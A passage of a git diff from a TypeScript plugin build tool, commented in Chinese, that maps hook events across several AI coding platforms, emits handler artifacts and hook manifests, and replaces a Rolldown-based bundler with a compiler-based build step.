SessionEnd command Hooks.' }, - UserPromptSubmit: { supported: false, level: 'unsupported', reason: 'Antigravity has no documented prompt-submit Hook.' }, - PreToolUse: { supported: true, level: 'native', nativeEvent: 'PreToolUse', reason: 'Antigravity supports PreToolUse command Hooks.' }, - PermissionRequest: { supported: false, level: 'unsupported', reason: 'Antigravity has no distinct permission request Hook.' }, - PostToolUse: { supported: true, level: 'native', nativeEvent: 'PostToolUse', reason: 'Antigravity supports PostToolUse command Hooks.' }, - PreCompact: { supported: true, level: 'native', nativeEvent: 'PreCompact', reason: 'Antigravity supports PreCompact command Hooks.' }, - PostCompact: { supported: false, level: 'unsupported', reason: 'Antigravity has no documented post-compaction Hook.' }, - SubagentStart: { supported: false, level: 'unsupported', reason: 'Antigravity has no documented subagent start Hook.' }, - SubagentStop: { supported: false, level: 'unsupported', reason: 'Antigravity has no documented subagent stop Hook.' }, - Stop: { supported: false, level: 'unsupported', reason: 'Antigravity has no documented stop Hook.' }, -}); - -/** OpenCode runtime Plugin 对 11 个规范事件的固定映射。 */ -const OPENCODE_EVENTS: Readonly> = Object.freeze({ - SessionStart: { supported: true, level: 'native', nativeEvent: 'session.created', reason: 'OpenCode exposes the session.created runtime event.' }, - SessionEnd: { supported: true, level: 'degraded', nativeEvent: 'session.deleted', reason: 'OpenCode session.deleted is observable but cannot preserve every completion result.' }, - UserPromptSubmit: { supported: true, level: 'native', nativeEvent: 'chat.message', reason: 'OpenCode exposes a mutable chat.message Hook.' }, - PreToolUse: { supported: true, level: 'native', nativeEvent: 'tool.execute.before', reason: 'OpenCode exposes a mutable before-tool Hook.' }, - PermissionRequest: { supported: false, level: 'unsupported', reason: 'OpenCode has no stable runtime Hook for a distinct permission request.' }, - PostToolUse: { supported: true, level: 'native', nativeEvent: 'tool.execute.after', reason: 'OpenCode exposes an after-tool Hook.' }, - PreCompact: { supported: false, level: 'unsupported', reason: 'OpenCode has no verified pre-compaction runtime event.' }, - PostCompact: { supported: true, level: 'native', nativeEvent: 'session.compacted', reason: 'OpenCode exposes the session.compacted event.' }, - SubagentStart: { supported: false, level: 'unsupported', reason: 'OpenCode has no stable subagent-start runtime event.' }, - SubagentStop: { supported: false, level: 'unsupported', reason: 'OpenCode has no stable subagent-stop runtime event.' }, - Stop: { supported: true, level: 'degraded', nativeEvent: 'session.idle', reason: 'OpenCode session.idle is observable but cannot preserve all stop decisions.' }, -}); - -/** Pi runtime Extension 对 11 个规范事件的固定映射。 */ -const PI_EVENTS: Readonly> = Object.freeze({ - SessionStart: { supported: true, level: 'native', nativeEvent: 'session_start', reason: 'Pi exposes session_start.' }, - SessionEnd: { supported: true, level: 'native', nativeEvent: 'session_shutdown', reason: 'Pi exposes session_shutdown.' }, - UserPromptSubmit: { supported: true, level: 'native', nativeEvent: 'input', reason: 'Pi exposes the input event before agent processing.' }, - PreToolUse: { supported: true, level: 'native', nativeEvent: 'tool_call', reason: 'Pi tool_call can block tool execution.' }, - PermissionRequest: { supported: false, level: 'unsupported', reason: 'Pi has no distinct permission request event.' }, - PostToolUse: { supported: true, level: 'native', nativeEvent: 'tool_result', reason: 'Pi exposes tool_result.' }, - PreCompact: { supported: true, level: 'native', nativeEvent: 'session_before_compact', reason: 'Pi exposes session_before_compact.' }, - PostCompact: { supported: true, level: 'native', nativeEvent: 'session_compact', reason: 'Pi exposes session_compact.' }, - SubagentStart: { supported: false, level: 'unsupported', reason: 'Pi has no canonical subagent start event.' }, - SubagentStop: { supported: false, level: 'unsupported', reason: 'Pi has no canonical subagent stop event.' }, - Stop: { supported: true, level: 'degraded', nativeEvent: 'agent_end', reason: 'Pi agent_end is observable but cannot force every stop decision.' }, -}); - -/** Claude Code 接受 matcher 字段、但会静默忽略 matcher 语义的事件。 */ -const CLAUDE_MATCHER_IGNORED_EVENTS = new Set([ - 'UserPromptSubmit', - 'PostToolBatch', - 'Stop', - 'TeammateIdle', - 'TaskCreated', - 'TaskCompleted', - 'WorktreeCreate', - 'WorktreeRemove', - 'MessageDisplay', - 'CwdChanged', -]); - -/** - * 判断 matcher 是否真正缩小了事件匹配范围。 - * - * @param matcher 当前 Platform 解析后的 matcher。 - * @returns 非空且不是全匹配星号时返回 true。 - */ -function hasMeaningfulMatcher(matcher: string | undefined): boolean { - return matcher !== undefined && matcher !== '' && matcher !== '*'; -} - -/** - * 判断一个规范或平台限定 Hook 是否应交给当前 Adapter。 - * - * @param hook 已构建的 Hook。 - * @param platform 当前 Adapter 的 Platform ID。 - * @returns 规范事件或匹配的平台事件返回 true。 - */ -function appliesToPlatform(hook: BundledHook, platform: string): boolean { - /** 平台事件声明的可选目标 Platform。 */ - const eventPlatform = platformForEvent(hook.definition.event); - return eventPlatform === undefined || eventPlatform === platform; -} - -/** - * 合并 Hook 顶层默认值和当前 Platform 的专属覆盖。 - * - * @param hook 已通过 validate 的 Hook。 - * @param platform 当前 Adapter 的 Platform ID。 - * @returns 可直接生成平台 Handler 配置的只读值。 - */ -function resolveOptions(hook: BundledHook, platform: string): ResolvedHookOptions { - /** Hook 定义中当前 Platform 的已验证覆盖对象。 */ - const override = hook.definition.platforms?.[platform] as Readonly> | undefined; - /** matcher 覆盖只在字段明确出现时替换顶层值。 */ - const matcher = typeof override?.matcher === 'string' ? override.matcher : hook.definition.matcher; - /** timeout 覆盖只在字段明确出现时替换顶层值。 */ - const timeout = typeof override?.timeout === 'number' ? override.timeout : hook.definition.timeout; - /** statusMessage 覆盖只在字段明确出现时替换顶层值。 */ - const statusMessage = typeof override?.statusMessage === 'string' - ? override.statusMessage - : hook.definition.statusMessage; - /** additionalContextLimit 只属于 Codex Adapter Schema。 */ - const additionalContextLimit = typeof override?.additionalContextLimit === 'number' - ? override.additionalContextLimit - : undefined; - return Object.freeze({ - ...(matcher === undefined ? {} : { matcher }), - ...(timeout === undefined ? {} : { timeout }), - ...(statusMessage === undefined ? {} : { statusMessage }), - ...(additionalContextLimit === undefined ? {} : { additionalContextLimit }), - }); -} - -/** - * 创建 Claude Code 无 shell exec-form Handler。 - * - * @param hook 当前已构建 Hook。 - * @param options 合并后的 Claude Code 选项。 - * @returns 只运行 Extension 生成 Bundle 的固定命令配置。 - */ -function claudeCodeHandler( - hook: BundledHook, - options: ResolvedHookOptions, -): Readonly> { - return Object.freeze({ - type: 'command', - command: 'node', - args: [`\${CLAUDE_PLUGIN_ROOT}/hooks/${hook.id}/handler.mjs`, CLAUDE_CODE_PLATFORM_ID], - ...(options.timeout === undefined ? {} : { timeout: options.timeout }), - ...(options.statusMessage === undefined ? {} : { statusMessage: options.statusMessage }), - }); -} - -/** - * 创建 Codex 当前公开字符串协议下的固定 Node Handler 命令。 - * - * 作者不能提供命令内容;Hook ID 已通过 kebab-case 校验,因此该模板没有可注入片段。 - * - * @param hook 当前已构建 Hook。 - * @param options 合并后的 Codex 选项。 - * @returns 只运行 Extension 生成 Bundle 的受控命令配置。 - */ -function codexHandler( - hook: BundledHook, - options: ResolvedHookOptions, -): Readonly> { - /** Codex 尚未公开 args 字段,因此使用固定且完整引用 Plugin Root 的命令模板。 */ - const command = `node "\${PLUGIN_ROOT}/hooks/${hook.id}/handler.mjs" ${CODEX_PLATFORM_ID}`; - return Object.freeze({ - type: 'command', - command, - ...(options.timeout === undefined ? {} : { timeout: options.timeout }), - ...(options.statusMessage === undefined ? {} : { statusMessage: options.statusMessage }), - ...(options.additionalContextLimit === undefined - ? {} - : { additionalContextLimit: options.additionalContextLimit }), - }); -} - -/** - * 报告单个 Hook 在 Claude Code 上的实际能力结论。 - * - * @param context 当前 Claude Code Adapter 上下文。 - * @param hook 正在适配的 Hook。 - */ -function reportClaudeCompatibility( - context: PlatformAdapterContext, - hook: BundledHook, - options: ResolvedHookOptions, -): void { - /** 平台配置中实际使用的事件名称。 */ - const name = eventName(hook.definition.event); - context.reportCompatibility({ - subject: `hook:${hook.id}`, - capability: `event.${name}`, - level: 'native', - reason: `Claude Code supports local command handlers for ${name}.`, - }); - if (hasMeaningfulMatcher(options.matcher) && CLAUDE_MATCHER_IGNORED_EVENTS.has(name)) { - context.reportCompatibility({ - subject: `hook:${hook.id}`, - capability: 'matcher', - level: 'degraded', - reason: `Claude Code currently ignores matcher for ${name}.`, - }); - } -} - -/** - * 报告单个 Hook 在 Codex 上的事件能力和按实际字段计算的 matcher 损失。 - * - * @param context 当前 Codex Adapter 上下文。 - * @param hook 正在适配的规范 Hook。 - * @param options 合并后的 Codex 选项。 - */ -function reportCodexCompatibility( - context: PlatformAdapterContext, - hook: BundledHook, - options: ResolvedHookOptions, -): void { - /** 规范 Hook 的平台事件名称。 */ - const name = eventName(hook.definition.event); - context.reportCompatibility({ - subject: `hook:${hook.id}`, - capability: `event.${name}`, - level: 'native', - reason: `Codex supports local command handlers for ${name}.`, - }); - if (hasMeaningfulMatcher(options.matcher) && (name === 'UserPromptSubmit' || name === 'Stop')) { - context.reportCompatibility({ - subject: `hook:${hook.id}`, - capability: 'matcher', - level: 'degraded', - reason: `Codex currently ignores matcher for ${name}.`, - }); - } -} - -/** - * 把平台相关 Hook 组成确定性的 `hooks/hooks.json` 内容。 - * - * @param platform 当前 Adapter Platform ID。 - * @param hooks 已筛选为当前平台适用的 Built Hook。 - * @returns 以事件名分组的官方 Hook 配置。 - */ -function createHooksManifest( - platform: typeof CLAUDE_CODE_PLATFORM_ID | typeof CODEX_PLATFORM_ID, - hooks: readonly BundledHook[], -): Readonly> { - /** 按事件名保存且随后由 stableJson 排序的 Handler 分组。 */ - const groups: Record = {}; - for (const hook of hooks) { - /** 当前 Adapter 解析后的 Hook 平台选项。 */ - const options = resolveOptions(hook, platform); - /** 当前平台使用的受控 Handler 配置。 */ - const handler = platform === CLAUDE_CODE_PLATFORM_ID - ? claudeCodeHandler(hook, options) - : codexHandler(hook, options); - /** 单 Handler matcher 分组,不依赖平台隐式数组合并。 */ - const group: HookGroup = Object.freeze({ - ...(options.matcher === undefined ? {} : { matcher: options.matcher }), - hooks: Object.freeze([handler]), - }); - /** 当前 Hook 的规范或平台原生事件名。 */ - const name = eventName(hook.definition.event); - (groups[name] ??= []).push(group); - } - return Object.freeze({ hooks: groups as unknown as JsonValue }); -} - -/** - * 向当前 Platform Draft 贡献 Handler、许可文件、Hook 清单和 Manifest 引用。 - * - * @param context Core 提供的受限 Adapter API。 - * @param built Extension build 阶段产生的平台中立状态。 - * @param platform 当前官方 Adapter 的 Platform ID。 - */ -async function applyAdapter( - context: PlatformAdapterContext, - built: Readonly, - platform: typeof CLAUDE_CODE_PLATFORM_ID | typeof CODEX_PLATFORM_ID, -): Promise { - /** 只保留规范事件和明确限定到当前 Platform 的事件。 */ - const hooks = built.hooks.filter(hook => appliesToPlatform(hook, platform)); - if (hooks.length === 0) - return; - /** Platform 必须提供约定的 Plugin Manifest Document 才能安全建立引用。 */ - const manifest = context.getDocument(PLUGIN_MANIFEST_ID); - if (manifest === undefined) { - context.reportDiagnostic({ - code: 'HOOK_PLATFORM_DOCUMENT_MISSING', - severity: 'error', - message: `Platform "${platform}" does not expose the required Plugin Manifest document.`, - }); - return; - } - for (const hook of hooks) { - context.emitArtifact({ - path: `hooks/${hook.id}/handler.mjs`, - source: { type: 'file', path: hook.handler }, - mode: 0o755, - }); - context.emitArtifact(bytesArtifact( - `hooks/${hook.id}/wire.mjs`, - createWireSource(platform), - 0o644, - )); - if (hook.licenses !== undefined) { - context.emitArtifact({ - path: `hooks/${hook.id}/THIRD_PARTY_LICENSES.txt`, - source: { type: 'file', path: hook.licenses }, - mode: 0o644, - }); - } - /** 当前 Platform 合并后的选项只用于精确兼容性计算。 */ - const options = resolveOptions(hook, platform); - if (platform === CLAUDE_CODE_PLATFORM_ID) - reportClaudeCompatibility(context, hook, options); - else - reportCodexCompatibility(context, hook, options); - } - context.emitArtifact(bytesArtifact(HOOKS_MANIFEST_PATH, stableJson(createHooksManifest(platform, hooks)))); - context.patchDocument({ - document: PLUGIN_MANIFEST_ID, - path: ['hooks'], - value: `./${HOOKS_MANIFEST_PATH}`, - }); - void manifest; -} - -/** - * 读取非默认 Platform 的固定事件支持结论。 - * - * @param platform 当前 Adapter Platform ID。 - * @param event 规范 Hook 事件名。 - * @returns 当前 Platform 的支持等级、原生事件和原因。 - */ -function supportFor( - platform: typeof CURSOR_PLATFORM_ID - | typeof ANTIGRAVITY_PLATFORM_ID - | typeof OPENCODE_PLATFORM_ID - | typeof PI_PLATFORM_ID, - event: string, -): HookEventSupport { - /** 当前 Platform 对应的固定能力矩阵。 */ - const matrix = platform === CURSOR_PLATFORM_ID - ? CURSOR_EVENTS - : platform === ANTIGRAVITY_PLATFORM_ID - ? ANTIGRAVITY_EVENTS - : platform === OPENCODE_PLATFORM_ID - ? OPENCODE_EVENTS - : PI_EVENTS; - return matrix[event] ?? { - supported: false, - level: 'unsupported', - reason: `${platform} does not recognize Hook event ${event}.`, - }; -} - -/** - * 报告非默认 Platform 的事件、matcher 和展示字段兼容性。 - * - * @param context 当前 Platform Adapter 上下文。 - * @param hook 正在适配的 Hook。 - * @param platform 当前 Adapter Platform ID。 - * @param support 当前事件固定支持结论。 - */ -function reportPortableCompatibility( - context: PlatformAdapterContext, - hook: BundledHook, - platform: typeof CURSOR_PLATFORM_ID - | typeof ANTIGRAVITY_PLATFORM_ID - | typeof OPENCODE_PLATFORM_ID - | typeof PI_PLATFORM_ID, - support: HookEventSupport, -): void { - /** 规范 Hook 的事件名。 */ - const event = eventName(hook.definition.event); - context.reportCompatibility({ - subject: `hook:${hook.id}`, - capability: `event.${event}`, - level: support.level, - ...(support.nativeEvent === undefined ? {} : { transformation: support.nativeEvent }), - reason: support.reason, - }); - if (!support.supported) - return; - /** 当前 Platform 合并后的执行选项。 */ - const options = resolveOptions(hook, platform); - if (hasMeaningfulMatcher(options.matcher) - && event !== 'PreToolUse' - && event !== 'PostToolUse' - && event !== 'PermissionRequest') { - context.reportCompatibility({ - subject: `hook:${hook.id}`, - capability: 'matcher', - level: 'degraded', - reason: `${platform} cannot preserve this matcher outside a tool event.`, - }); - } - if (options.statusMessage !== undefined) { - context.reportCompatibility({ - subject: `hook:${hook.id}`, - capability: 'statusMessage', - level: 'degraded', - reason: `${platform} has no stable Hook status message field in the selected adapter protocol.`, - }); - } -} - -/** - * 向当前 Platform 贡献一个已支持 Hook 的 Handler、wire 和第三方许可。 - * - * @param context Core 提供的受限 Adapter API。 - * @param hook 当前已构建 Hook。 - * @param platform 当前 Adapter Platform ID。 - * @param root Handler 在交付单元中的固定根目录。 - */ -function emitHookRuntime( - context: PlatformAdapterContext, - hook: BundledHook, - platform: typeof CURSOR_PLATFORM_ID - | typeof ANTIGRAVITY_PLATFORM_ID - | typeof OPENCODE_PLATFORM_ID - | typeof PI_PLATFORM_ID, - root: string, -): void { - context.emitArtifact({ - path: `${root}/${hook.id}/handler.mjs`, - source: { type: 'file', path: hook.handler }, - mode: 0o755, - }); - context.emitArtifact(bytesArtifact( - `${root}/${hook.id}/wire.mjs`, - createWireSource(platform), - 0o644, - )); - if (hook.licenses !== undefined) { - context.emitArtifact({ - path: `${root}/${hook.id}/THIRD_PARTY_LICENSES.txt`, - source: { type: 'file', path: hook.licenses }, - mode: 0o644, - }); - } -} - -/** - * 应用 Cursor 静态 Plugin Hooks Adapter。 - * - * @param context Core 提供的受限 Adapter API。 - * @param built Hooks Extension 的平台中立 Built State。 - */ -async function applyCursorAdapter( - context: PlatformAdapterContext, - built: Readonly, -): Promise { - /** Cursor Platform 必须开放 Plugin Manifest 的 hooks 扩展点。 */ - if (context.getDocument(PLUGIN_MANIFEST_ID) === undefined) { - context.reportDiagnostic({ - code: 'HOOK_PLATFORM_DOCUMENT_MISSING', severity: 'error', - message: 'Cursor Platform does not expose the required Plugin Manifest document.', - }); - return; - } - /** Cursor 原生事件名到固定 command Handler 列表。 */ - const groups: Record>[]> = {}; - for (const hook of built.hooks.filter(candidate => appliesToPlatform(candidate, CURSOR_PLATFORM_ID))) { - /** 当前规范事件的固定 Cursor 支持结论。 */ - const support = supportFor(CURSOR_PLATFORM_ID, eventName(hook.definition.event)); - reportPortableCompatibility(context, hook, CURSOR_PLATFORM_ID, support); - if (!support.supported || support.nativeEvent === undefined) - continue; - emitHookRuntime(context, hook, CURSOR_PLATFORM_ID, 'hooks'); - /** Cursor Hook 进程从官方 Plugin 根环境变量解析安装后 Handler。 */ - const command = `node "\${CURSOR_PLUGIN_ROOT}/hooks/${hook.id}/handler.mjs" cursor`; - (groups[support.nativeEvent] ??= []).push(Object.freeze({ command })); - } - if (Object.keys(groups).length === 0) - return; - /** Cursor Plugin Hooks 使用 version 1 的事件到命令数组结构。 */ - context.emitArtifact(bytesArtifact('hooks/hooks.json', stableJson({ version: 1, hooks: groups }))); - context.patchDocument({ document: PLUGIN_MANIFEST_ID, path: ['hooks'], value: './hooks/hooks.json' }); -} - -/** - * 应用 Antigravity 根 hooks.json Adapter。 - * - * @param context Core 提供的受限 Adapter API。 - * @param built Hooks Extension 的平台中立 Built State。 - */ -async function applyAntigravityAdapter( - context: PlatformAdapterContext, - built: Readonly, -): Promise { - /** Antigravity 原生事件名到 matcher 分组。 */ - const groups: Record = {}; - for (const hook of built.hooks.filter(candidate => appliesToPlatform(candidate, ANTIGRAVITY_PLATFORM_ID))) { - /** 当前规范事件的固定 Antigravity 支持结论。 */ - const support = supportFor(ANTIGRAVITY_PLATFORM_ID, eventName(hook.definition.event)); - reportPortableCompatibility(context, hook, ANTIGRAVITY_PLATFORM_ID, support); - if (!support.supported || support.nativeEvent === undefined) - continue; - emitHookRuntime(context, hook, ANTIGRAVITY_PLATFORM_ID, 'hooks'); - /** 当前 Platform 合并后的 matcher 配置。 */ - const options = resolveOptions(hook, ANTIGRAVITY_PLATFORM_ID); - /** 安装后 Handler 只通过固定 Plugin 根变量运行。 */ - const handler = Object.freeze({ - type: 'command', - command: `node "\${ANTIGRAVITY_PLUGIN_ROOT}/hooks/${hook.id}/handler.mjs" antigravity`, - }); - (groups[support.nativeEvent] ??= []).push(Object.freeze({ - ...(options.matcher === undefined ? {} : { matcher: options.matcher }), - hooks: Object.freeze([handler]), - })); - } - if (Object.keys(groups).length > 0) - context.emitArtifact(bytesArtifact('hooks.json', stableJson({ hooks: groups }))); -} - -/** - * 应用 OpenCode runtime Plugin Adapter。 - * - * @param context Core 提供的受限 Adapter API。 - * @param built Hooks Extension 的平台中立 Built State。 - */ -async function applyOpenCodeAdapter( - context: PlatformAdapterContext, - built: Readonly, -): Promise { - /** 实际进入 runtime Plugin 的已支持 Hook。 */ - const supported: BundledHook[] = []; - for (const hook of built.hooks.filter(candidate => appliesToPlatform(candidate, OPENCODE_PLATFORM_ID))) { - /** 当前规范事件的固定 OpenCode 支持结论。 */ - const support = supportFor(OPENCODE_PLATFORM_ID, eventName(hook.definition.event)); - reportPortableCompatibility(context, hook, OPENCODE_PLATFORM_ID, support); - if (support.supported) - supported.push(hook); - } - if (supported.length === 0) - return; - /** Runtime Plugin 读取的无函数静态 Hook 描述。 */ - const descriptors = supported.map((hook) => { - /** 当前 Platform 合并后的 matcher 与 timeout。 */ - const options = resolveOptions(hook, OPENCODE_PLATFORM_ID); - emitHookRuntime(context, hook, OPENCODE_PLATFORM_ID, '.opencode/acplugin-hooks'); - return runtimeHookDescriptor(hook, options.matcher, options.timeout); - }); - context.emitArtifact(bytesArtifact( - '.opencode/plugins/acplugin-hooks.mjs', - createOpenCodePluginSource(descriptors), - )); -} - -/** - * 应用 Pi npm package Extension Adapter。 - * - * @param context Core 提供的受限 Adapter API。 - * @param built Hooks Extension 的平台中立 Built State。 - */ -async function applyPiAdapter( - context: PlatformAdapterContext, - built: Readonly, -): Promise { - /** Pi Platform 必须开放 package.json.pi.extensions 扩展点。 */ - if (context.getDocument('package-manifest') === undefined) { - context.reportDiagnostic({ - code: 'HOOK_PLATFORM_DOCUMENT_MISSING', severity: 'error', - message: 'Pi Platform does not expose the required package manifest document.', - }); - return; - } - /** 实际进入 Pi Extension 的已支持 Hook。 */ - const supported: BundledHook[] = []; - for (const hook of built.hooks.filter(candidate => appliesToPlatform(candidate, PI_PLATFORM_ID))) { - /** 当前规范事件的固定 Pi 支持结论。 */ - const support = supportFor(PI_PLATFORM_ID, eventName(hook.definition.event)); - reportPortableCompatibility(context, hook, PI_PLATFORM_ID, support); - if (support.supported) - supported.push(hook); - } - if (supported.length === 0) - return; - /** Pi Extension 读取的无函数静态 Hook 描述。 */ - const descriptors = supported.map((hook) => { - /** 当前 Platform 合并后的 matcher 与 timeout。 */ - const options = resolveOptions(hook, PI_PLATFORM_ID); - emitHookRuntime(context, hook, PI_PLATFORM_ID, 'extensions/acplugin-hooks'); - return runtimeHookDescriptor(hook, options.matcher, options.timeout); - }); - context.emitArtifact(bytesArtifact('extensions/acplugin-hooks.mjs', createPiExtensionSource(descriptors))); - context.patchDocument({ - document: 'package-manifest', - path: ['pi', 'extensions'], - value: ['./extensions/acplugin-hooks.mjs'], - }); -} - -/** - * 创建 Hooks Extension 内置的六个平台 Adapter。 - * - * @returns 只通过 Core 受限 API 写入平台 Draft 的固定 Adapter 列表。 - */ -export function createHooksAdapters(): readonly ExtensionPlatformAdapter[] { - /** Claude Code 官方 Adapter。 */ - const claudeCode: ExtensionPlatformAdapter = Object.freeze({ - extensionApiVersion: '1', - platform: CLAUDE_CODE_PLATFORM_ID as PlatformId, - platformApiVersion: '1', - /** 把平台中立状态落为 Claude Code exec-form Hook 配置。 */ - apply: (context: PlatformAdapterContext, built: Readonly) => applyAdapter( - context, - built, - CLAUDE_CODE_PLATFORM_ID, - ), - }); - /** Codex 官方 Adapter。 */ - const codex: ExtensionPlatformAdapter = Object.freeze({ - extensionApiVersion: '1', - platform: CODEX_PLATFORM_ID as PlatformId, - platformApiVersion: '1', - /** 把平台中立状态落为 Codex 当前字符串命令 Hook 配置。 */ - apply: (context: PlatformAdapterContext, built: Readonly) => applyAdapter( - context, - built, - CODEX_PLATFORM_ID, - ), - }); - /** Cursor 官方 Adapter。 */ - const cursor: ExtensionPlatformAdapter = Object.freeze({ - extensionApiVersion: '1', - platform: CURSOR_PLATFORM_ID as PlatformId, - platformApiVersion: '1', - /** 把平台中立状态落为 Cursor version 1 command Hooks。 */ - apply: applyCursorAdapter, - }); - /** Antigravity 官方 Adapter。 */ - const antigravity: ExtensionPlatformAdapter = Object.freeze({ - extensionApiVersion: '1', - platform: ANTIGRAVITY_PLATFORM_ID as PlatformId, - platformApiVersion: '1', - /** 把平台中立状态落为 Antigravity 根 hooks.json。 */ - apply: applyAntigravityAdapter, - }); - /** OpenCode 官方 Adapter。 */ - const openCode: ExtensionPlatformAdapter = Object.freeze({ - extensionApiVersion: '1', - platform: OPENCODE_PLATFORM_ID as PlatformId, - platformApiVersion: '1', - /** 把平台中立状态落为 workspace runtime Plugin。 */ - apply: applyOpenCodeAdapter, - }); - /** Pi 官方 Adapter。 */ - const pi: ExtensionPlatformAdapter = Object.freeze({ - extensionApiVersion: '1', - platform: PI_PLATFORM_ID as PlatformId, - platformApiVersion: '1', - /** 把平台中立状态落为 npm package Extension。 */ - apply: applyPiAdapter, - }); - return Object.freeze([claudeCode, codex, cursor, antigravity, openCode, pi]); -} diff --git a/packages/extensions/hooks/src/build.ts b/packages/extensions/hooks/src/build.ts new file mode 100644 index 0000000..3400012 --- /dev/null +++ b/packages/extensions/hooks/src/build.ts @@ -0,0 +1,66 @@ +import type { + ExtensionBuildContext, + GeneratedAssetRef, + PortableNodeCompileOptions, +} from '@tokenroll/acplugin/sdk'; +import type { HookDescriptorData, ValidatedHooks } from './discovery.js'; +import { createRunnerSource } from './runtime-source.js'; +import { createWireSource } from './wire-source.js'; + +/** portable Handler 内联官方平台协议的稳定虚拟模块。 */ +const HOOK_WIRE_MODULE_ID = 'acplugin:hook-wire'; + +/** 单个 Hook 一次编译后可被全部 Contributor 复用的 State。 */ +export interface BuiltHook { + readonly id: string; + readonly definition: HookDescriptorData; + readonly handler: GeneratedAssetRef; + readonly licenses?: GeneratedAssetRef; +} + +/** Hooks Extension 的无函数 Built State。 */ +export interface BuiltHooks { + readonly hooks: readonly BuiltHook[]; +} + +/** 通过 Core `portable-node` 为每个 Hook 生成一次自包含 Handler。 */ +export async function buildHooks( + context: ExtensionBuildContext, + validated: Readonly, + compile?: PortableNodeCompileOptions, +): Promise { + /** 虚拟 entries 各自从其 Hook 目录解析原始 hook.ts。 */ + const entries = Object.fromEntries(validated.hooks.map(hook => [hook.id, Object.freeze({ + type: 'virtual' as const, + code: createRunnerSource(), + resolveFrom: hook.directory, + mode: 0o755 as const, + })])); + /** result 只包含 Core 签发的 GeneratedAssetRef 和脱敏模块图。 */ + const result = await context.compiler.compile({ + id: 'hooks', + profile: 'portable-node', + entries: Object.freeze(entries), + sourceScopes: Object.freeze([validated.root]), + virtualModules: Object.freeze({ [HOOK_WIRE_MODULE_ID]: createWireSource() }), + ...(compile === undefined ? {} : { options: compile }), + }); + /** built 逐 entry 校验固定 main/license 输出闭包。 */ + const built = validated.hooks.map((hook): BuiltHook => { + /** outputs 是当前 Hook 独立 Bundle 的全部受管文件。 */ + const outputs = result.outputs.filter(output => output.outputId === hook.id); + /** main 必须是 portable-node 固定的唯一可执行入口。 */ + const mains = outputs.filter(output => output.type === 'chunk' && output.fileName === 'main.mjs' && output.isEntry); + /** licenses 只在实际打入第三方依赖时出现。 */ + const licenses = outputs.filter(output => output.type === 'licenses' && output.fileName === 'THIRD_PARTY_LICENSES.txt'); + if (mains.length !== 1 || licenses.length > 1 || outputs.length !== mains.length + licenses.length) + throw new Error(`Compiler returned an invalid Hook output set for "${hook.id}".`); + return Object.freeze({ + id: hook.id, + definition: hook.definition, + handler: mains[0]!.asset, + ...(licenses[0] === undefined ? {} : { licenses: licenses[0].asset }), + }); + }); + return Object.freeze({ hooks: Object.freeze(built) }); +} diff --git a/packages/extensions/hooks/src/bundler.ts b/packages/extensions/hooks/src/bundler.ts deleted file mode 100644 index 485788e..0000000 --- a/packages/extensions/hooks/src/bundler.ts +++ /dev/null @@ -1,291 +0,0 @@ -import { promises as fs } from 'node:fs'; -import path from 'node:path'; -import { build as rolldownBuild, type OutputChunk, type Plugin } from 'rolldown'; -import type { ExtensionBuildContext } from '@tokenroll/acplugin'; -import { EXTENSION_NAME } from './constants.js'; -import type { DiscoveredHook, DiscoveredHooks } from './discovery.js'; -import { createRunnerSource } from './runtime-source.js'; - -/** - * 按 UTF-16 code unit 比较 Bundle 元数据,不依赖宿主 locale/ICU。 - * - * @param left 左侧字符串。 - * @param right 右侧字符串。 - * @returns 与 Array.sort 约定一致的 -1、0 或 1。 - */ -function compareCodeUnits(left: string, right: string): number { - if (left === right) - return 0; - return left < right ? -1 : 1; -} - -/** 单个 Hook 构建完成的可执行 Handler 与可选第三方许可材料。 */ -export interface BundledHook { - /** Hook 的稳定作者 ID。 */ - readonly id: string; - /** Adapter 生成平台配置时读取的已验证定义。 */ - readonly definition: DiscoveredHook['definition']; - /** Rolldown 生成的独立 Node 20 ESM Handler 路径。 */ - readonly handler: string; - /** Bundle 包含第三方依赖时生成的合并许可文件路径。 */ - readonly licenses?: string; -} - -/** build 阶段交给所有 Platform Adapter 的平台中立状态。 */ -export interface BuiltHooks { - /** 按 Hook ID 稳定排序且每项只 Bundle 一次的 Handler。 */ - readonly hooks: readonly BundledHook[]; -} - -/** Bundle 中一个第三方 npm 包的许可元数据与原始法律文本。 */ -interface PackageLicense { - /** npm 包名。 */ - readonly name: string; - /** npm 包版本。 */ - readonly version: string; - /** package.json 声明的 SPDX 表达式或 UNKNOWN。 */ - readonly license: string; - /** 包根目录中发现的 LICENSE 或 NOTICE 文件。 */ - readonly notices: readonly { readonly name: string; readonly text: string }[]; -} - -/** Handler Bundle 内替换作者辅助 API 的私有虚拟模块 ID。 */ -const AUTHOR_API_MODULE_ID = '\0acplugin-hook-author-api'; - -/** - * 创建只保留 defineHook 运行时恒等语义的 Rolldown 虚拟模块。 - * - * Hook 作者从 Extension 根入口导入 defineHook,但最终 Handler 不应携带构建器、 - * Rolldown 或 acplugin Core;品牌只服务 discover,Bundle 内定义已经通过验证。 - * - * @returns 在解析作者 API 时替换为最小恒等函数的构建插件。 - */ -function authorApiPlugin(): Plugin { - return { - name: 'acplugin-hook-author-api', - /** 只接管规范 Extension 根入口,不改写用户的其他依赖。 */ - resolveId(source) { - return source === EXTENSION_NAME ? AUTHOR_API_MODULE_ID : null; - }, - /** 为虚拟入口提供无构建期依赖的 defineHook 实现。 */ - load(id) { - if (id !== AUTHOR_API_MODULE_ID) - return null; - return 'export function defineHook(definition) { return definition; }'; - }, - }; -} - -/** - * 从 Rolldown Module ID 向上查找所属 npm 包及其许可文件。 - * - * @param moduleId Bundle 图中的原始 Module ID。 - * @returns 第三方 node_modules 文件对应的许可记录;工程源码返回 undefined。 - * @throws 第三方包缺少元数据或法律文本时阻止生成不完整 Bundle。 - */ -async function packageLicenseForModule(moduleId: string): Promise { - /** 移除 Rolldown 查询参数和虚拟模块前缀后的文件路径。 */ - const normalized = moduleId.replace(/\?.*$/u, '').replace(/^\0/u, ''); - if (!normalized.includes(`${path.sep}node_modules${path.sep}`)) - return undefined; - /** 从模块文件开始向上查找 package.json 的当前目录。 */ - let directory = path.dirname(normalized); - /** 终止向上遍历的文件系统根目录。 */ - const root = path.parse(directory).root; - while (directory !== root) { - try { - /** 当前候选目录中的包清单。 */ - const manifest = JSON.parse(await fs.readFile(path.join(directory, 'package.json'), 'utf8')) as { - readonly name?: unknown; - readonly version?: unknown; - readonly license?: unknown; - }; - if (typeof manifest.name === 'string' && typeof manifest.version === 'string') { - /** 包根目录的一级文件,用于发现法律文本。 */ - const entries = await fs.readdir(directory, { withFileTypes: true }); - /** 按稳定顺序保留的 LICENSE 